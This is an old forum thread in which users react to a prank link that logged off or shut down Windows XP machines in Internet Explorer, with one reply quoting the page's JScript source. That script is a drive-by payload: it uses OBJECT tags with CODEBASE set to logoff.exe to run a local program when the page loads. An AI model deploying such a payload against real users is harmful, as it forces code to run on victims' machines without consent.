AGHHH!!!!

[ILikeSprite]

Some asshole sent me a link that shut down my computer! :|:|:|:|:|:|:|:|:|:|:|:|


[link deleted]

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[kranky]

So you are posting the link AS a link? Might want to reformat it so it's not clickable.

 

[Platypus]

Uh..?

 

[malbojah]

Sorry, I got 2000 no no problems here

 

[ILikeSprite]

I think I am going to e-mail this link to MS tech support....... *laughs as their computer shuts down*

 

[bunker]

For those afraid to click, this is all the page says:

You should feel lucky if you dont have XP right now.

 

[halik]

source code:

<SCRIPT language=JScript>
var programName=new Array(
'c:/windows/system32/logoff.exe',
'c:/winxp/system32/logoff.exe',
'c:/winnt/system32/logoff.exe'
);

function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 390, 200, 200, document.body);
}
</SCRIPT>

 

[Hammer]

I have XP, and it didn't shut my computer down, it just logged me out of the account I'm in. Maybe its because I'm remote desktoping in?

 

[LordMaul]

<< For those afraid to click, this is all the page says:

You should feel lucky if you dont have XP right now. >>




Yeah, I got that, and it tried to do something...it triggered Word to close, but I had something open and I clicked "Cancel" when it suddenly asked me if I wanted to save.

So no reboot.

 

[SpecialEd]

bastard!! you put me in one of those "look, but don't touch" situations... i'm outta here.

 

[ILikeSprite]

<< I have XP, and it didn't shut my computer down, it just logged me out of the account I'm in. Maybe its because I'm remote desktoping in? >>



Well actually it logged me off too but it closed out of everthing I was working on so basically the same thing.........

 

[b0mbrman]

Yep...I wonder how many of ATOTers are gonna click that link if you leave it as is

 

[ThaGrandCow]

definitely a repost

 

[Platypus]

I sent it to like 4 people and nothing happened to them..

 

[ILikeSprite]

<< I sent it to like 4 people and nothing happened to them.. >>



It only works in IE.......... cause I just tried it in Mozilla and nothing happened.

 

[Nitemare]

People still install windows on their c drives?

LOL

about half or more scripts/virus wouldn't work if they would just install on their d or other drive...

 

[LuDaCriS66]

<< People still install windows on their c drives?

LOL

about half or more scripts/virus wouldn't work if they would just install on their d or other drive... >>



I'm dual booting Win98 (on the C drive) and WinXP on the E drive... hehe didn't work. yay for me

 

[n0cmonkey]

Old News

 

[loup garou]

haha...I have XP, but it's installed on D

 

[ILikeSprite]

<< Old News >>



umm it's not old news. this just happened to me today.

 

[Mill]

I have 2000 and it didn't do anything.

 

[n0cmonkey]

<<

<< Old News >>



umm it's not old news. this just happened to me today.

>>



Old news meaning yesterday

But stuff like this has been floating around for a while.

 

[fatalbert]

lol

 

[Barnaby W. Füi]

thats odd...didnt do anything under linux

 

[MrBond]

I can't believe MS hasn't fixed this yet. Do they even know it exists?